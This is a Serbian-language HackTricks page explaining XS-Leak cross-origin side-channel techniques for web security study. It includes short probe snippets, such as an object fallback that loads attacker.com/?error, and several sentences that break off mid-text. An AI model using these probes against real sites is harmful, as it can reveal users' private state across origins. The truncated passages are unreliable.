hacktricks/pentesting-web/xs-search.md
2024-02-10 13:11:20 +00:00

77 KiB
Raw Blame History

XS-Search/XS-Leaks

Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

XS-Search je metoda koja se koristi za izvlačenje informacija preko granica izvora iskorišćavanjem ranjivosti bočnog kanala.

Ključni komponenti uključene u ovaj napad su:

  • Ranjiva veb stranica: Ciljna veb stranica sa koje se žele izvući informacije.
  • Napadačeva veb stranica: Zlonamerna veb stranica koju je napadač kreirao, koju žrtva posećuje, a na kojoj se nalazi eksploit.
  • Metod uključivanja: Tehnika koja se koristi za uključivanje Ranjive veb stranice u Napadačevu veb stranicu (npr. window.open, iframe, fetch, HTML oznaka sa href, itd.).
  • Tehnika curenja: Tehnike koje se koriste za razlikovanje stanja Ranjive veb stranice na osnovu informacija prikupljenih putem metode uključivanja.
  • Stanja: Dva moguća stanja Ranjive veb stranice, koja napadač pokušava da razlikuje.
  • Detektovive razlike: Vidljive varijacije na koje se napadač oslanja kako bi zaključio stanje Ranjive veb stranice.

Detektovive razlike

Neke aspekte je moguće analizirati kako bi se razlikovala stanja Ranjive veb stranice:

  • Statusni kod: Razlikovanje između različitih HTTP statusnih kodova od preko granica izvora, kao što su greške servera, greške klijenta ili greške autentifikacije.
  • Korišćenje API-ja: Identifikacija korišćenja Web API-ja na različitim stranicama, otkrivajući da li preko granica izvora stranica koristi određeni JavaScript Web API.
  • Preusmeravanja: Otkrivanje navigacija ka različitim stranicama, ne samo HTTP preusmeravanja već i onih pokrenutih JavaScript-om ili HTML-om.
  • Sadržaj stranice: Posmatranje varijacija u telu HTTP odgovora ili u podresursima stranice, kao što su broj ugrađenih okvira ili veličinske razlike u slikama.
  • HTTP zaglavlje: Uočavanje prisustva ili moguće vrednosti određenog zaglavlja HTTP odgovora, uključujući zaglavlja poput X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy.
  • Vremensko praćenje: Uočavanje doslednih vremenskih razlika između dva stanja.

Metode uključivanja

  • HTML elementi: HTML nudi različite elemente za uključivanje resursa preko granica izvora, poput stilskih listova, slika ili skripti, prisiljavajući pregledač da zatraži resurs koji nije HTML. Kompilacija potencijalnih HTML elemenata u tu svrhu može se pronaći na https://github.com/cure53/HTTPLeaks.
  • Okviri: Elementi poput iframe, object i embed mogu direktno ugraditi HTML resurse u napadačevu stranicu. Ako stranica nema zaštitu okvira, JavaScript može pristupiti prozoru ugrađenog resursa putem svojstva contentWindow.
  • Iskačući prozori: Metoda window.open otvara resurs u novoj kartici ili prozoru, pružajući JavaScript-u ručku prozora za interakciju sa metodama i svojstvima u skladu sa SOP. Iskačući prozori, često korišćeni u jednokratnoj prijavi, zaobilaze ograničenja okvira i kolačića ciljnog resursa. Međutim, moderni pregledači ograničavaju kreiranje iskačućih prozora na određene korisničke radnje.
  • JavaScript zahtevi: JavaScript omogućava direktno slanje zahteva ciljnim resursima korišćenjem XMLHttpRequests ili Fetch API-ja. Ove metode omogućavaju preciznu kontrolu nad zahtevom, kao što je opcija praćenja HTTP preusmeravanja.

Tehnike curenja

  • Rukovalac događajima: Klasika tehnika curenja u XS-Leaks, gde rukovaoci događajima poput onload i onerror pružaju informacije o uspehu ili neuspehu učitavanja resursa.
  • Poruke o greškama: JavaScript izuzeci ili posebne stranice grešaka mogu pružiti informacije o curenju ili razlikovanju između prisustva i odsustva greške.
  • Globalna ograničenja: Fizička ograničenja pregledača, poput kapaciteta memorije ili drugih nametnutih ograničenja pregledača, mogu signalizirati kada je dostignut prag i služiti kao tehnika curenja.
  • Globalno stanje: Detektovive interakcije sa globalnim stanjima pregledača (npr. interfejs History) mogu biti iskorišćene. Na primer, broj unosa u istoriji pregledača može pružiti tragove o stranicama preko granica izvora.
  • Performance API: Ovaj API pruža detalje o performansama trenutne stranice, uključujući vremenske podatke o mreži za dokument i učitane resurse, omogućavajući zaključke o traženim resursima.
  • Čitljivi atributi: Neki HTML atributi su čitljivi preko granica izvora i mogu se koristiti kao tehnika curenja. Na primer, svojstvo window.frame.length omogućava JavaScript-u da prebroji ugrađene okvire na veb stranici preko granica izvora.

XSinator Alat i Rad

XSinator je automatski alat za proveru pregledača protiv nekoliko poznatih XS-Leakova objašnjenih u njegovom radu: https://xsinator.com/paper.pdf

Mo

Tehnike zasnovane na vremenu

Neke od sledećih tehnika koriste vreme kao deo procesa za otkrivanje razlika u mogućim stanjima veb stranica. Postoji nekoliko načina za merenje vremena u veb pregledaču.

Satovi: API performance.now() omogućava programerima da dobiju merenja visoke rezolucije vremena.
Postoji značajan broj API-ja koje napadači mogu zloupotrebiti kako bi stvorili implicitne satove: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animacije i drugi.
Za više informacija: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Tehnike događaja

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

Primer koda pokušava da učita objekte skripti iz JS-a, ali mogu se koristiti i druge oznake poput objekata, stilskih listova, slika, zvukova. Takođe, moguće je i direktno ubaciti oznaku i deklarisati događaje onload i onerror unutar oznake (umesto da se ubaci iz JS-a).

Postoji i verzija ovog napada bez skripti:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

U ovom slučaju, ako example.com/404 nije pronađen, učitaće se attacker.com/?error.

Vreme učitavanja

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Vreme učitavanja + Prisilni težak zadatak

Ova tehnika je slična prethodnoj, ali napadač će takođe prisiliti neku akciju da traje relevantno vreme kada je odgovor pozitivan ili negativan i izmeriti to vreme.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

Vreme istovarivanja/beforeunload

Vreme potrebno za preuzimanje resursa može se izmeriti korišćenjem događaja unload i beforeunload. Događaj beforeunload se pokreće kada pregledač treba da pređe na novu stranicu, dok se događaj unload javlja kada se navigacija zaista odvija. Razlika u vremenu između ova dva događaja može se izračunati kako bi se odredilo vreme koje je pregledač proveo preuzimajući resurs.

Vreme merenja okvira sa sandbox-om + onload

Primećeno je da u odsustvu zaštite od frejmovanja, vreme potrebno za učitavanje stranice i njenih podresursa preko mreže može biti izmereno od strane napadača. Ovo merenje je obično moguće jer se onload rukovalac frejma pokreće tek nakon završetka učitavanja resursa i izvršavanja JavaScript koda. Da bi zaobišao varijabilnost koju uvodi izvršavanje skripti, napadač može koristiti atribut sandbox unutar <iframe>. Uključivanje ovog atributa ograničava brojne funkcionalnosti, posebno izvršavanje JavaScript koda, čime se olakšava merenje koje je uglavnom pod uticajem performansi mreže.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + greška + onload

  • Metode uključivanja: Okviri
  • Detektoviva razlika: Sadržaj stranice
  • Više informacija:
  • Sažetak: Ako možete da izazovete grešku na stranici kada se pristupi ispravnom sadržaju i da je ispravno učitate kada se pristupi bilo kom sadržaju, tada možete napraviti petlju da izvučete sve informacije bez merenja vremena.
  • Primer koda:

Pretpostavimo da možete ubaciti stranicu koja ima tajni sadržaj unutar iframe-a.

Možete naterati žrtvu da pretražuje datoteku koja sadrži "flag" koristeći iframe (iskorišćavanje CSRF-a na primer). U okviru iframe-a znate da će se onload događaj uvek izvršiti barem jednom. Zatim možete promeniti URL iframe-a, ali promeniti samo sadržaj hash-a unutar URL-a.

Na primer:

  1. URL1: www.napadac.com/xssearch#try1
  2. URL2: www.napadac.com/xssearch#try2

Ako je prvi URL uspešno učitan, tada, kada se promeni hash dela URL-a, onload događaj se neće ponovo pokrenuti. Ali ako je stranica imala neku vrstu greške prilikom učitavanja, tada će se onload događaj ponovo pokrenuti.

Tada možete razlikovati između stranice koja je ispravno učitana ili stranice koja ima grešku prilikom pristupa.

Izvršenje JavaScript-a

  • Metode uključivanja: Okviri
  • Detektoviva razlika: Sadržaj stranice
  • Više informacija:
  • Sažetak: Ako stranica vraća osetljiv sadržaj, ili sadržaj koji može biti kontrolisan od strane korisnika. Korisnik može postaviti validan JS kod u negativnom slučaju, i svaki pokušaj učitavanja unutar <script> oznaka, tako da se u negativnim slučajevima izvršava kod napadača, a u pozitivnim slučajevima ništa se ne izvršava.
  • Primer koda:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Metode uključivanja: HTML elementi
  • Detektoviva razlika: Statusni kod i zaglavlja
  • Više informacija: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Sažetak: Cross-Origin Read Blocking (CORB) je sigurnosna mera koja sprečava učitavanje određenih osetljivih resursa sa različitih izvora kako bi se zaštitilo od napada poput Spectre. Međutim, napadači mogu iskoristiti njegovo zaštitno ponašanje. Kada odgovor podložan CORB-u vrati CORB zaštićeni Content-Type sa nosniff i 2xx statusnim kodom, CORB uklanja telo i zaglavlja odgovora. Napadači koji to posmatraju mogu zaključiti kombinaciju statusnog koda (koji ukazuje na uspeh ili grešku) i Content-Type (koji označava da li je zaštićen od CORB-a), što može dovesti do potencijalnog otkrivanja informacija.
  • Primer koda:

Pogledajte link za više informacija o napadu.

onblur

Moguće je učitati stranicu unutar iframe-a i koristiti #id_vrednost da bi se stranica fokusirala na element iframe-a koji je označen id-om, zatim, ako je onblur signal pokrenut, ID element postoji.
Možete izvršiti isti napad sa portal oznakama.

postMessage Emitovanja

  • Metode uključivanja: Okviri, Iskačući prozori
  • Detektoviva razlika: Korišćenje API-ja
  • Više informacija: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Sažetak: Prikupljanje osetljivih informacija iz postMessage ili korišćenje prisustva postMessage-a kao orakula za saznanje o statusu korisnika na stranici
  • Primer koda: Bilo koji kod koji sluša sve postMessage-ove.

Aplikacije često koriste postMessage emitovanja za komunikaciju između različitih izvora. Međutim, ovaj metod može nenamerno otkriti osetljive informacije ako parametar targetOrigin nije pravilno specificiran, što omogućava bilo kojem prozoru da primi poruke. Osim toga, sam čin primanja poruke može delovati kao orakul; na primer, određene poruke mogu biti poslate samo korisnicima koji su prijavljeni. Stoga, prisustvo ili odsustvo ovih poruka može otkriti informacije o stanju ili identitetu korisnika, kao što je da li su autentifikovani ili ne.

Koristite Trickest da lako izgradite i automatizujete radne tokove uz pomoć najnaprednijih alata zajednice na svetu.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Tehnike globalnih ograničenja

WebSocket API

Moguće je identifikovati da li, i koliko, WebSocket veza ciljne stranice koristi. To omogućava napadaču da otkrije stanja aplikacije i procure informacije vezane za broj WebSocket veza.

Ako jedan izvor koristi maksimalan broj WebSocket objekata, bez obzira na njihovo stanje veze, kreiranje novih objekata će rezultirati izuzecima JavaScript-a. Da biste izvršili ovaj napad, web sajt napadača otvara ciljni web sajt u iskačućem prozoru ili

Payment API

Ova XS-Leak omogućava napadaču da detektuje kada stranica sa različitog porekla pokreće zahtev za plaćanje.

Zbog toga što samo jedan zahtev za plaćanje može biti aktivan u isto vreme, ako ciljna veb lokacija koristi Payment Request API, svaki dalji pokušaj korišćenja ovog API-ja će propasti, izazivajući JavaScript izuzetak. Napadač može iskoristiti ovo tako što će periodično pokušavati da prikaže korisnički interfejs za plaćanje. Ako jedan pokušaj izazove izuzetak, to znači da ciljna veb lokacija trenutno koristi taj API. Napadač može sakriti ove periodične pokušaje tako što će odmah zatvoriti korisnički interfejs nakon kreiranja.

Merenje vremena petlje događaja

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript radi na jednonitnom modelu konkurentnosti petlje događaja, što znači da može izvršavati samo jedan zadatak u isto vreme. Ova karakteristika može biti iskorišćena kako bi se utvrdilo koliko vremena kod sa različitog porekla zahteva za izvršavanje. Napadač može meriti vreme izvršavanja svog sopstvenog koda u petlji događaja tako što kontinuirano šalje događaje sa fiksnim svojstvima. Ovi događaji će biti obrađeni kada je bazen događaja prazan. Ako i druga porekla takođe šalju događaje u isti bazen, napadač može zaključiti vreme koje je potrebno da se ovi spoljni događaji izvrše posmatrajući kašnjenja u izvršavanju sopstvenih zadataka. Ovaj metod praćenja petlje događaja za kašnjenja može otkriti vreme izvršavanja koda sa različitih porekla, potencijalno otkrivajući osetljive informacije.

{% hint style="warning" %} Prilikom merenja vremena izvršavanja moguće je eliminisati mrežne faktore kako bi se dobile preciznije merenja. Na primer, učitavanjem resursa koje koristi stranica pre njenog učitavanja. {% endhint %}

Zauzeta petlja događaja

  • Metode uključivanja:
  • Detektovljiva razlika: Vreme (uglavnom zbog sadržaja stranice, statusnog koda)
  • Više informacija: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Rezime: Jedan način merenja vremena izvršavanja veb operacije uključuje namerno blokiranje petlje događaja niti, a zatim merenje koliko vremena je potrebno da petlja događaja ponovo postane dostupna. Ubacivanjem blokirajuće operacije (poput dugog računanja ili sinhronog API poziva) u petlju događaja i praćenjem vremena koje je potrebno za izvršavanje sledećeg koda, može se zaključiti trajanje zadataka koji su se izvršavali u petlji događaja tokom blokirajućeg perioda. Ova tehnika se oslanja na jednonitnu prirodu JavaScript-ove petlje događaja, gde se zadaci izvršavaju sekvenčno, i može pružiti uvid u performanse ili ponašanje drugih operacija koje dele istu nit.
  • Primer koda:

Značajna prednost tehnike merenja vremena izvršavanja zaključavanjem petlje događaja je njena sposobnost da zaobiđe izolaciju sajta. Izolacija sajta je sigurnosna funkcija koja razdvaja različite veb lokacije u odvojene procese, sa ciljem da spreči zlonamerne sajtove da direktno pristupaju osetljivim podacima drugih sajtova. Međutim, uticajem na vreme izvršavanja druge veb lokacije putem deljene petlje događaja, napadač može indirektno izvući informacije o aktivnostima te veb lokacije. Ova metoda se ne oslanja na direktni pristup podacima druge veb lokacije, već posmatra uticaj aktivnosti te veb lokacije na deljenu petlju događaja, čime izbegava zaštitne barijere koje je uspostavila izolacija sajta.

{% hint style="warning" %} Prilikom merenja vremena izvršavanja moguće je eliminisati mrežne faktore kako bi se dobile preciznije merenja. Na primer, učitavanjem resursa koje koristi stranica pre njenog učitavanja. {% endhint %}

Pool konekcija

  • Metode uključivanja: JavaScript zahtevi
  • Detektovljiva razlika: Vreme (uglavnom zbog sadržaja stranice, statusnog koda)
  • Više informacija: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Rezime: Napadač može blokirati sve priključke osim jednog, učitati ciljnu veb stranicu i istovremeno učitati drugu stranicu, vreme do početka učitavanja poslednje stranice je vreme koje je ciljna stranica potrošila na učitavanje.
  • Primer koda:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Pregledači koriste priključke za komunikaciju sa serverom, ali zbog ograničenih resursa operativnog sistema i hardvera, pregledači su primorani da nametnu ograničenje na broj istovremenih priključaka. Napadači mogu iskoristiti ovo ograničenje kroz sledeće korake:

  1. Utvrditi ograničenje priključaka pregledača, na primer, 256 globalnih priključaka.
  2. Zauzeti 255 priključaka tokom produženog perioda pokretanjem 255 zahteva ka različitim hostovima, dizajniranih da održe otvorene veze bez završetka.
  3. Koristiti 256. priključak za slanje zahteva ka ciljnoj stranici.
  4. Pokušati 257. zahtev ka drugom hostu. S obzirom da su svi priključci zauzeti (kao što je navedeno u koracima 2 i 3), ovaj zahtev će

Tehnike Performance API-ja

Performance API pruža uvid u metrike performansi web aplikacija, dodatno obogaćene Resource Timing API. Resource Timing API omogućava praćenje detaljnih vremena mrežnih zahteva, kao što je trajanje zahteva. Posebno, kada serveri uključe zaglavlje Timing-Allow-Origin: * u svojim odgovorima, dostupni su dodatni podaci poput veličine prenosa i vremena pretrage domena.

Ova obilje podataka može se dobiti putem metoda poput performance.getEntries ili performance.getEntriesByName, pružajući sveobuhvatan pregled informacija vezanih za performanse. Osim toga, API omogućava merenje vremena izvršavanja tako što računa razliku između vremenskih oznaka dobijenih iz performance.now(). Međutim, treba napomenuti da za određene operacije u pregledačima poput Chrome-a, preciznost performance.now() može biti ograničena na milisekunde, što može uticati na granularnost merenja vremena.

Pored merenja vremena, Performance API se može iskoristiti za sigurnosne uvide. Na primer, prisustvo ili odsustvo stranica u objektu performance u Chrome-u može ukazivati na primenu X-Frame-Options. Konkretno, ako se stranica blokira od prikazivanja u okviru zbog X-Frame-Options, neće biti zabeležena u objektu performance, pružajući suptilan trag o politikama okvira stranice.

Curenje greške

Moguće je razlikovati HTTP statusne kodove odgovora jer zahtevi koji dovode do greške ne stvaraju unos o performansama.

Greška ponovnog učitavanja stila

U prethodnoj tehnici takođe su identifikovana dva slučaja u kojima greške u GC-u dovode do dvostrukog učitavanja resursa koji ne uspeju da se učitaju. To će rezultirati višestrukim unosima u Performance API-ju i može se detektovati.

Greška spajanja zahteva

Tehnika je pronađena u tabeli u pomenutom radu, ali nije pronađen opis tehnike. Međutim, izvorni kod koji proverava ovu tehniku možete pronaći na https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Curenje prazne stranice

Napadač može da detektuje da li je zahtev rezultirao praznim telom HTTP odgovora jer prazne stranice ne stvaraju unos o performansama u nekim pregledačima.

Curenje XSS-Auditora

U Security Assertions (SA), XSS Auditor, koji je prvobitno namenjen za sprečavanje XSS napada, paradoksalno može biti iskorišćen za curenje osetljivih informacija. Iako je ova ugrađena funkcionalnost uklonjena iz Google Chrome-a (GC), i dalje je prisutna u SA. Braun i Heiderich su 2013. godine pokazali da XSS Auditor slučajno može blokirati legitimne skripte, što dovodi do lažnih pozitiva. Na osnovu toga, istraživači su razvili tehnike za izvlačenje informacija i detektovanje određenog sadržaja na stranicama preko granica izvora, koncept poznat kao XS-Leaks, koji je inicijalno prijavio Terada, a razradio Heyes u blog postu. Iako su ove tehnike bile specifične za XSS Auditor u GC-u, otkriveno je da u SA, stranice blokirane od strane XSS Auditora ne generišu unose u Performance API-ju, otkrivajući način putem kojeg osetljive informacije i dalje mogu biti curenje.

Curenje X-Frame

Ako se stranica **

Početak curenja preusmeravanja

Pronašli smo jedan primer XS-Leak koji zloupotrebljava ponašanje nekih pregledača koji beleže previše informacija za zahteve preko granica izvora. Standard definiše podskup atributa koji bi trebalo postaviti na nulu za resurse preko granica izvora. Međutim, u SA je moguće otkriti da li je korisnik preusmeren od strane ciljne stranice, upitivanjem Performance API-ja i proverom podataka o vremenu redirectStart.

Curenje trajanja preusmeravanja

U GC-u, trajanje za zahteve koji rezultiraju u preusmeravanju je negativno i može se razlikovati od zahteva koji ne rezultiraju u preusmeravanju.

CORP curenje

U nekim slučajevima, nextHopProtocol unos može se koristiti kao tehnika curenja. U GC-u, kada je postavljeno CORP zaglavlje, nextHopProtocol će biti prazan. Napomena: SA neće uopšte kreirati unos performansi za resurse sa omogućenim CORP-om.

Servisni radnik

Servisni radnici su konteksti skripti koji se pokreću na izvoru. Oni rade u pozadini veb stranice i mogu presretati, menjati i keširati resurse kako bi kreirali veb aplikacije van mreže.
Ako se resurs kešira od strane servisnog radnika i pristupa mu se putem iframe-a, resurs će biti učitan iz keša servisnog radnika.
Da bi se otkrilo da li je resurs učitan iz keša servisnog radnika, može se koristiti Performance API.
Ovo takođe može biti urađeno pomoću napada na vremenskoj osnovi (proverite rad za više informacija).

Keš

Korišćenjem Performance API-ja moguće je proveriti da li je resurs keširan.

Trajanje mreže

Tehnika poruka o greškama

Greška medija

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

MediaError интерфејсова својство message јединствено идентификује ресурсе који успешно учитавају са посебним низом карактера. Нападач може искористити ову функционалност праћењем садржаја поруке и на тај начин закључити статус одговора на ресурс из различитих извора.

CORS Грешка

  • Методи укључивања: Fetch API
  • Детектабилна разлика: Заглавље
  • Више информација: https://xsinator.com/paper.pdf (5.3)
  • Резиме: У безбедносним тврдњама (SA), CORS грешке ненамерно откривају пуну URL адресу преусмерених захтева.
  • Пример кода: https://xsinator.com/testing.html#CORS%20Error%20Leak

Ова техника омогућава нападачу да извуче одредиште преусмереног сајта са различитог порекла искоришћавајући начин на који прегледачи базирани на Webkit-у обрађују CORS захтеве. Конкретно, када се CORS-омогућени захтев пошаље ка циљаном сајту који издаје преусмерење на основу стања корисника и прегледач затим одбије захтев, порука о грешци открива пуну URL адресу одредишта преусмерења. Ова угроженост не само да открива чињеницу о преусмерењу, већ такође открива и крајњу тачку преусмерења и било осетљиве параметре упита које може садржати.

SRI Грешка

  • Методи укључивања: Fetch API
  • Детектабилна разлика: Заглавље
  • Више информација: https://xsinator.com/paper.pdf (5.3)
  • Резиме: У безбедносним тврдњама (SA), CORS грешке ненамерно откривају пуну URL адресу преусмерених захтева.
  • Пример кода: https://xsinator.com/testing.html#SRI%20Error%20Leak

Нападач може искористити опширне поруке о грешци да би закључио величину преусмерених одговора са различитих извора. Ово је могуће због механизма Subresource Integrity (SRI), који користи integrity атрибут за проверу да ли се ресурси који се учитавају, често са CDN-ова, нису измењени. Да би SRI радио на ресурсима са различитог порекла, они морају бити CORS-омогућени; у супротном, они нису подложни провери интегритета. У безбедносним тврдњама (SA), као и у случају CORS грешке XS-Leak, порука о грешци може бити забележена након што захтев за учитавање са integrity атрибутом не успе. Нападачи могу намерно изазвати ову грешку доделом неправилне хеш вредности integrity атрибуту било ког захтева. У SA, резултујућа порука о грешци ненамерно открива дужину садржаја захтеваног ресурса. Ова информацијска пропустања омогућавају нападачу да примети варијације у величини одговора, отварајући пут за напредне XS-Leak нападе.

CSP Кршење/Откривање

XS-Leak може користити CSP да открије да ли је сајт са различитог порекла преусмерен на други извор. Ово открива преусмерење, али додатно открива и домен преусмерења. Основна идеја овог напада је дозволити циљани домен на нападачком сајту. Када се захтев пошаље ка циљаном домену, он се преусмерава на домен са различитог порекла. CSP блокира приступ њему и креира извештај о кршењу који се користи као техника откривања. Зависно од прегледача, овај извештај може открити локацију циља преусмерења.
Модерни прегледачи неће приказати URL на који је преусмерен, али још увек можете открити да је преусмерење са различитог порекла покренуто.

Кеш

CORB

Proverite link za više informacija o napadu.

CORS greška na konfiguraciji odraza porekla

U slučaju kada se zaglavlje Origin odražava u zaglavlju Access-Control-Allow-Origin, napadač može iskoristiti ovaj postupak da pokuša da dobavi resurs u CORS režimu. Ako nije izazvana greška, to znači da je resurs ispravno preuzet sa veba, a ako je izazvana greška, to znači da je pristupljen iz keša (greška se pojavljuje jer keš čuva odgovor sa CORS zaglavljem koje dozvoljava originalni domen, a ne domen napadača).
Imajte na umu da ako se poreklo ne odražava, ali se koristi džoker (Access-Control-Allow-Origin: *), ovo neće raditi.

Tehnika čitljivih atributa

Preusmeravanje Fetch

Slanjem zahteva pomoću Fetch API sa redirect: "manual" i drugim parametrima, moguće je pročitati atribut response.type i ako je jednak opaqueredirect, onda je odgovor bio preusmeravanje.

COOP

Napadač je sposoban da zaključi prisustvo zaglavlja Cross-Origin Opener Policy (COOP) u HTTP odgovoru prekooriginarnog porekla. COOP se koristi od strane veb aplikacija da bi se sprečilo da spoljni sajtovi dobiju proizvoljne reference prozora. Vidljivost ovog zaglavlja može se uočiti pokušajem pristupa contentWindow referenci. U slučajevima kada se COOP primenjuje uslovno, svojstvo opener postaje pokazatelj: ono je nedefinisano kada je COOP aktivan, a definisano kada je COOP odsutan.

Maksimalna dužina URL-a - serverska strana

Ako serversko preusmeravanje koristi korisnički unos unutar preusmeravanja i dodatne podatke, moguće je otkriti ovaj postupak jer serveri obično imaju ograničenje dužine zahteva. Ako je korisnički podatak dužine - 1, jer se preusmeravanje koristi tim podacima i dodaje nešto dodatno, izazvaće se greška koja se može otkriti putem događaja greške.

Ako na neki način možete postaviti kolačiće korisniku, možete izvesti ovaj napad tako što ćete postaviti dovoljno kolačića (cookie bomba) tako da se sa povećanom veličinom odgovora ispravnog odgovora izazove greška. U ovom slučaju, zapamtite da ako pokrenete ovaj zahtev sa istog sajta, <script> će automatski poslati kolačiće (tako da možete proveriti greške).
Primer cookie bombe + XS-Search možete pronaći u namerenoj rešenju ovog članka: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

Obično je potrebno da SameSite=None ili da se nalazite u istom kontekstu za ovu vrstu napada.

Maksimalna dužina URL-a - klijentska strana

Maksimalni broj preusmeravanja

Ako je maksimalni broj preusmeravanja koje pregledač treba da prati 20, napadač može pokušati da učita svoju stranicu sa 19 preusmeravanja i na kraju preusmeri žrtvu na testiranu stranicu. Ako se izazove greška, to znači da je stranica pokušavala da preusmeri žrtvu.

Dužina istorije

API za istoriju omogućava JavaScript kodu da manipuliše istorijom pregledača, koja čuva posete koje je korisnik obavio. Napadač može koristiti svojstvo dužine kao metodu uključivanja: da bi otkrio JavaScript i HTML navigaciju.
Provera history.length, nateranje korisnika da pređe na stranicu, vrati je nazad na isti izvor i provera nove vrednosti history.length.

Dužina istorije sa istim URL-om

  • Metode uključivanja: Okviri, iskačući prozori
  • Detektoviva razlika: Ako je URL isti kao pretpostavljeni
  • Rezime: Moguće je pretpostaviti da li je lokacija okvira/iskačućeg prozora na određenom URL-u zloupotrebom dužine istorije.
  • Primer koda: Ispod

Napadač može koristiti JavaScript kod da manipuliše lokacijom okvira/iskačućeg prozora na pretpostavljenom URL-u i odmah je promeni u about:blank. Ako se dužina istorije poveća, to znači da je URL bio tačan i da je imao vremena da se poveća jer se URL ne učitava ponovo ako je isti. Ako se nije povećala, to znači da je pokušao da učita pretpostavljeni URL, ali zato što smo odmah nakon toga učitali about:blank, dužina istorije se nikada nije povećala prilikom učitavanja pretpostavljenog URL-a.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Brojanje frejmova

Brojanje broja frejmova na vebu otvorenih putem iframe ili window.open može pomoći u identifikaciji stanja korisnika na toj stranici.
Osim toga, ako stranica uvek ima isti broj frejmova, kontinuirano proveravanje broja frejmova može pomoći u identifikaciji uzorka koji može otkriti informacije.

Primer ove tehnike je da se u Chrome-u PDF može detektovati pomoću brojanja frejmova jer se interno koristi embed. Postoje parametri otvaranja URL-a koji omogućavaju određenu kontrolu nad sadržajem kao što su zoom, view, page, toolbar, gde bi ova tehnika mogla biti interesantna.

HTMLElementi

Curenje informacija putem HTML elemenata je zabrinjavajuće u vezi sa bezbednošću veba, posebno kada se dinamički generišu medijski fajlovi na osnovu korisničkih informacija ili kada se dodaju vodeni žigovi koji menjaju veličinu medija. Napadači mogu iskoristiti ovo tako što će analizirati informacije koje izlažu određeni HTML elementi kako bi razlikovali moguća stanja.

Informacije izložene HTML elementima

  • HTMLMediaElement: Ovaj element otkriva duration i buffered vreme medija, do kojih se može pristupiti putem njegovog API-ja. Pročitajte više o HTMLMediaElement-u
  • HTMLVideoElement: Otkriva videoHeight i videoWidth. U nekim pregledačima dostupna su dodatna svojstva poput webkitVideoDecodedByteCount, webkitAudioDecodedByteCount i webkitDecodedFrameCount, koja pružaju detaljnije informacije o sadržaju medija. Pročitajte više o HTMLVideoElement-u
  • getVideoPlaybackQuality(): Ova funkcija pruža detalje o kvalitetu reprodukcije videa, uključujući totalVideoFrames, koji može ukazivati na količinu obrađenih video podataka. Pročitajte više o getVideoPlaybackQuality()
  • HTMLImageElement: Ovaj element otkriva height i width slike. Međutim, ako je slika nevažeća, ove osobine će vratiti 0, a funkcija image.decode() će biti odbijena, što ukazuje na neuspeh učitavanja slike na odgovarajući način. Pročitajte više o HTMLImageElement-u

CSS svojstvo

Veb aplikacije mogu menjati stilizovanje veb sajta u zavisnosti od stanja korisnika. CSS fajlovi sa različitog porekla mogu biti ugrađeni na stranici napadača pomoću HTML link elementa, a pravila će biti primenjena na stranicu napadača. Ako stranica dinamički menja ova pravila, napadač može detektovati ove razlike u zavisnosti od stanja korisnika.
Kao tehnika curenja, napadač može koristiti metodu window.getComputedStyle da pročita CSS svojstva određenog HTML elementa. Kao rezultat, napadač može pročitati proizvoljna CSS svojstva ako su poznati pogođeni element i naziv svojstva.

CSS istorija

{% hint style="info" %} Prema ovome, ovo ne funkcioniše u headless Chrome-u. {% endhint %}

